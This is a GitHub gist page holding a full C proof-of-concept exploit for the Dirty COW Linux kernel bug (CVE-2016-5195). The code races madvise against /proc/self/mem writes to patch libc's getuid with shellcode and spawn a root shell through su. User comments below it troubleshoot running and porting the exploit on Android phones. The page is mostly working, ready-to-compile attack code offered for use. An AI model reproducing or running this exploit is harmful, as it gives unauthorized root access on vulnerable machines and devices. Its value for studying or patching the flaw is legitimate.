Instantly share code, notes, and snippets.

Embed
What would you like to do?
/*
* CVE-2016-5195 dirtypoc
*
* This PoC is memory only and doesn't write anything on the filesystem.
* /!\ Beware, it triggers a kernel crash a few minutes.
*
* gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
*/
#define _GNU_SOURCE
#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>
#define SHELLCODE "\x31\xc0\xc3"
#define SPACE_SIZE 256
#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6"
#define LOOP 0x1000000
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
struct mem_arg {
struct stat st;
off_t offset;
unsigned long patch_addr;
unsigned char *patch;
unsigned char *unpatch;
size_t patch_size;
bool do_patch;
void *map;
};
static int check(bool do_patch, const char *thread_name)
{
uid_t uid;
uid = getuid();
if (do_patch) {
if (uid == 0) {
printf("[*] patched (%s)\n", thread_name);
return 1;
}
} else {
if (uid != 0) {
printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
return 1;
}
}
return 0;
}
static void *madviseThread(void *arg)
{
struct mem_arg *mem_arg;
size_t size;
void *addr;
int i, c = 0;
mem_arg = (struct mem_arg *)arg;
addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
size = mem_arg->offset - (unsigned long)addr;
for(i = 0; i < LOOP; i++) {
c += madvise(addr, size, MADV_DONTNEED);
if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
break;
}
if (c == 0x1337)
printf("[*] madvise = %d\n", c);
return NULL;
}
static void *procselfmemThread(void *arg)
{
struct mem_arg *mem_arg;
int fd, i, c = 0;
unsigned char *p;
mem_arg = (struct mem_arg *)arg;
p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;
fd = open("/proc/self/mem", O_RDWR);
if (fd == -1)
err(1, "open(\"/proc/self/mem\"");
for (i = 0; i < LOOP; i++) {
lseek(fd, mem_arg->offset, SEEK_SET);
c += write(fd, p, mem_arg->patch_size);
if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
break;
}
if (c == 0x1337)
printf("[*] /proc/self/mem %d\n", c);
close(fd);
return NULL;
}
static int get_range(unsigned long *start, unsigned long *end)
{
char line[4096];
char filename[PATH_MAX];
char flags[32];
FILE *fp;
int ret;
ret = -1;
fp = fopen("/proc/self/maps", "r");
if (fp == NULL)
err(1, "fopen(\"/proc/self/maps\")");
while (fgets(line, sizeof(line), fp) != NULL) {
sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
if (strstr(flags, "r-xp") == NULL)
continue;
if (strstr(filename, "/libc-") == NULL)
continue;
//printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
ret = 0;
break;
}
fclose(fp);
return ret;
}
static void getroot(void)
{
execlp("su", "su", NULL);
err(1, "failed to execute \"su\"");
}
static void exploit(struct mem_arg *mem_arg, bool do_patch)
{
pthread_t pth1, pth2;
printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");
mem_arg->do_patch = do_patch;
pthread_create(&pth1, NULL, madviseThread, mem_arg);
pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
}
static unsigned long get_getuid_addr(void)
{
unsigned long addr;
void *handle;
char *error;
dlerror();
handle = dlopen("libc.so.6", RTLD_LAZY);
if (handle == NULL) {
fprintf(stderr, "%s\n", dlerror());
exit(EXIT_FAILURE);
}
addr = (unsigned long)dlsym(handle, "getuid");
error = dlerror();
if (error != NULL) {
fprintf(stderr, "%s\n", error);
exit(EXIT_FAILURE);
}
dlclose(handle);
return addr;
}
int main(int argc, char *argv[])
{
unsigned long start, end;
unsigned long getuid_addr;
struct mem_arg mem_arg;
struct stat st;
pid_t pid;
int fd;
if (get_range(&start, &end) != 0)
errx(1, "failed to get range");
printf("[*] range: %lx-%lx]\n", start, end);
getuid_addr = get_getuid_addr();
printf("[*] getuid = %lx\n", getuid_addr);
mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
if (mem_arg.patch == NULL)
err(1, "malloc");
mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
if (mem_arg.unpatch == NULL)
err(1, "malloc");
memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
mem_arg.patch_size = sizeof(SHELLCODE)-1;
mem_arg.do_patch = true;
fd = open(LIBC_PATH, O_RDONLY);
if (fd == -1)
err(1, "open(\"" LIBC_PATH "\")");
if (fstat(fd, &st) == -1)
err(1, "fstat");
mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (mem_arg.map == MAP_FAILED)
err(1, "mmap");
close(fd);
printf("[*] mmap %p\n", mem_arg.map);
mem_arg.st = st;
mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);
exploit(&mem_arg, true);
pid = fork();
if (pid == -1)
err(1, "fork");
if (pid == 0) {
getroot();
} else {
sleep(2);
exploit(&mem_arg, false);
if (waitpid(pid, NULL, 0) == -1)
warn("waitpid");
}
return 0;
}
@Jtillburn

This comment has been minimized.

Copy link

Jtillburn commented Oct 25, 2016

I got dirtycow running on a Nexus 5 with KitKat. However I'm unsure of how to execute dirtycow-mem.c. I compiled the file with:

gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread

Then copied it over to where dirtycow is in /data/local/tmp. From there can it be run by using ./dircow-mem run-as ? I tried executing the code in this manner and got:

./dirtycow-mem[1]: syntax error: '(' unexpected

Any help is appreciated.

@janorga

This comment has been minimized.

Copy link

janorga commented Oct 26, 2016

This works for me, but system freezes after few seconds. Anything on this issue?

@unixfox

This comment has been minimized.

@nao20010128nao

This comment has been minimized.

Copy link

nao20010128nao commented Oct 30, 2016

@Jtillburn Did you compiled for ARM or with Android NDK?

@MatanTubul

This comment has been minimized.

Copy link

MatanTubul commented Dec 26, 2016

not working for me:
i get
"not executable: 64-bit ELF file"

@elichai

This comment has been minimized.

Copy link

elichai commented Feb 12, 2017

i'm getting "not executable: 64-bit ELF file" too. on Note 5.

@droidvoider

This comment has been minimized.

Copy link

droidvoider commented Mar 4, 2017

You have to convert it for your device. But if you have an Android that builds /system on startup this won't work anyway there's a ton more to it then simply spawning a root shell. First of all we need to spawn a joined at /system/sbin, like cf-auto-root.. partition ---> system/sbin/su

@TonyStark

This comment has been minimized.

Copy link

TonyStark commented Mar 10, 2017

Getting dirty: failed to get range Erro
build with aarch64-linux-gnu-gcc -Wall -o dirty dirty.c -ldl -static -lpthread

@nonnymoose

This comment has been minimized.

Copy link

nonnymoose commented Jul 19, 2017

Is this compatible with other processor architectures? (Namely the shellcode)

@innarion

This comment has been minimized.

Copy link

innarion commented Feb 23, 2018

I tried to "covert" this to Android x86 NDK code (I basically only replaced print functions with log functions). I successfully injected the shellcode to the getuid function in libc. However when i change the symbol name in get_getuid_addr (instead of addr = (unsigned long)dlsym(handle, "getuid"); I use for example addr = (unsigned long)dlsym(handle, "clock_gettime"); or any other symbol from libc) it always freezes the system before the attack finishes. I tried to use the ptrace method from @scumjr 's other PoC, which does not freeze, but the exploit loop finishes without success. Has anyone met this problem as well? How come the attack on getuid is the only successful one? The address (offset) of the symbol is OK.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment